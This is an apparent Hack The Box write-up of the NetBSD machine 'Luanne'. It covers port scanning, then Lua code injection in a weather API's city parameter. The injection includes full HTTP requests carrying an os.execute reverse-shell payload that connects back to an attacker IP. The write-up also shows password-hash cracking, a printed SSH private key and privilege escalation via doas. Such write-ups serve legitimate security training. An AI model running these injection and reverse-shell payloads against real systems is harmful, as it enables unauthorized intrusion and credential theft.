Previous Page

nihilist - 06 / 06 / 2021

Luanne Writeup

Introduction :



Luanne is an Easy NetBSD box released back in November 2020.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ nmap -vvv -p- 10.10.10.218 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.10.10.218
Discovered open port 22/tcp on 10.10.10.218
Discovered open port 9001/tcp on 10.10.10.218

[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ nmap -sCV -p80,22,9001 10.10.10.218
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-06 08:52 CEST
Nmap scan report for 10.10.10.218
Host is up (0.027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.07 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 so let's investigate it:

Here we don't have access yet, but we are hinted towards a certain local port 3000 that our nmap scan didn't pick up earlier. Now let's take a look at the Medusa service on port 9001:

Now on the medusa service, we also have some basic auth with a different 401 response page. Not much here either, so let's move back to the port 80, on http-robots.txt there was the ./weather directory disallowed entry, so let's run gobuster on it:


[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.218/weather/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/06 09:11:55 Starting gobuster in directory enumeration mode
===============================================================
/forecast             (Status: 200) [Size: 90]

And here we get the /weather/forecast/ page so let's investigate it:

Here we see that we should have specified a city, so let's send intercept request into burpsuite and test if there are any injections we can do:

Let's list the cities as advised:

So we are able to get the weather data of any city. But we don't know yet if the city input is sanitized, so let's try to escape it to cause an error:

And now we have more info! We managed to pickup the fact that this is a .lua file located in /usr/local/webapi/weather.lua, now let's try to poke at it further to see if we have any command execution, to do so we need to comment out the rest of the line using --

Now from here let's try to inject other commands after the ;

Now we have been able to inject another command! However let's go further and attempt to use system commands:

And that's it! We have access to system commands, so let's spawn a reverse shell with it now:


#our first RCE
GET /weather/forecast?city=London');print("\nnihilist777\n");os.execute("id")-- HTTP/1.1

#RCE with reverse shell payload
GET /weather/forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f")-- HTTP/1.1

#URL encoded reverse shell payload (just select it in burpsuite, and hit CTRL+U to URL-Encode)
GET /weather/forecast?city=London')%3bos.execute("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+9002+>/tmp/f")-- HTTP/1.1

#prepare to catch the reverse shell with nc:
[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ nc -lvnp 9002
listening on [any] 9002 ...

And we get a reverse shell connection!


[ 10.10.14.13/23 ] [ /dev/pts/27 ] [~/HTB/Luanne]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.218] 65436
sh: can't access tty; job control turned off

$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

$ ls -lash
total 1.5K
2.0K drwxr-xr-x   2 root  wheel  512B Nov 25  2020 .
2.0K drwxr-xr-x  24 root  wheel  512B Nov 24  2020 ..
2.0K -rw-r--r--   1 root  wheel   47B Sep 16  2020 .htpasswd
2.0K -rw-r--r--   1 root  wheel  386B Sep 17  2020 index.html
2.0K -rw-r--r--   1 root  wheel   78B Nov 25  2020 robots.txt

Running a simple ls shows us that there's a .htpasswd file, so let's get it:


$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

Let's crack the hash using john locally:


[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ vim htpasswd.hash

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------
 HASH: ^C

        Bye!

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ cat htpasswd.hash
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ john htpasswd.hash -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2021-06-06 10:40) 12.50g/s 38400p/s 38400c/s 38400C/s my3kids..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And there we go we managed to get the webapi_user password iamthebest so let's login:

Although that's too bad, the webapi_user isn't of much use yet. Back on our reverse shell, let's enumerate the box with linpeas.sh


$ wget -V
sh: wget: not found
$ curl -V
curl 7.71.0 (x86_64--netbsd) libcurl/7.71.0 OpenSSL/1.1.1d zlib/1.2.10 libidn2/2.3.0 nghttp2/1.41.0
Release-Date: 2020-06-24
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets


We're going to use curl to get linpeas.sh onto the box:


[term1]

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...


[term2]

$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  333k  100  333k    0     0   856k      0 --:--:-- --:--:-- --:--:--  853k
$ chmod +x /tmp/peas.sh
$ /tmp/peas.sh

Also note how it cannot display the colored linpeas logo because we're not inside of bash:

As you scroll through the linpeas output you see the following hint that we need to privesc to the r.micahels user:


$ ps auxw | grep http
_httpd       97  0.0  0.0  35256  2328 ?     I     8:30AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/
r.michaels  185  0.0  0.0  34996  1988 ?     Is    6:50AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home

Since this is a localhost service running on port 3001, we're going to use curl from the box:


$ curl http://127.0.0.1:3001
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   199  100   199    0     0  99500      0 --:--:-- --:--:-- --:--:-- 99500
401 Unauthorized

401 Unauthorized

/:
No authorization

127.0.0.1:3001

Since we get a 401 Unauthorized error, let's pass the credentials we found earlier as arguements:


$ curl http://127.0.0.1:3001/ --user webapi_user:iamthebest
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   386  100   386    0     0  77200      0 --:--:-- --:--:-- --:--:-- 77200


  
    Index
  
  
    

Weather Forecast API

List available cities:

/weather/forecast?city=list

Five day forecast (London)

/weather/forecast?city=London

And here we see that the credentials worked ! Now let's try to get the r.michael user's private SSH key:


$ curl http://127.0.0.1:3001/~r.michaels/id_rsa --user webapi_user:iamthebest
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2610  100  2610    0     0   637k      0 --:--:-- --:--:-- --:--:--  637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

And there you go ! now let's login as the r.michaels user via ssh:


[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ vim id_rsa

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ file id_rsa
id_rsa: OpenSSH private key

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ chmod 600 id_rsa

[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ ssh r.michaels@10.10.10.218 -i id_rsa
The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$ ls
backups     devel       public_html user.txt
luanne$ cat user.txt
eaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And there you go! We managed to login as the r.michaels user and print out the user flag.

Part 3 : Getting Root Access



Now that's done, let's run linpeas again as the r.michaels user:


luanne$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  333k  100  333k    0     0   899k      0 --:--:-- --:--:-- --:--:--  899k
luanne$ chmod +x /tmp/peas.sh
luanne$ /tmp/peas.sh

Now as we scroll through the output, we see the following backup file:

Here we have doas, an alternative to the sudo command, scrolling further we see an encrypted backup file:

Since this is a NetBSD box, we can decrypt it with netpgp:


luanne$ ls
backups     devel       public_html user.txt
luanne$ cd backups/
luanne$ ls -l
total 4
-r--------  1 r.michaels  users  1970 Nov 24  2020 devel_backup-2020-09-16.tar.gz.enc

luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/backup.tar.gz
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid              RSA 2048-bit key <r.michaels@localhost>

luanne$ cd /tmp
luanne$ tar -xvf backup.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
luanne$ cat devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Once the backup is extracted, we see that we get another password hash for the webapi_user so let's crack it with john just like the previous one:


[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu

 Not Found.
--------------------------------------------------
 HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------

Make sure you include the . at the end, it is actually part of the hash:


[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ cat hash2
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ john -w=/usr/share/wordlists/rockyou.txt hash2
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (?)
1g 0:00:00:00 DONE (2021-06-06 11:18) 11.11g/s 145066p/s 145066c/s 145066C/s jayar..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And there we go! We managed to get the second webapi_user password, let's test if we can privesc to the root user with the doas binary we found earlier:



luanne$ doas su
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
# cat /root/root.txt
7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to privesc to the root user and print out the root flag.

Conclusion



Here we can see the progress graph :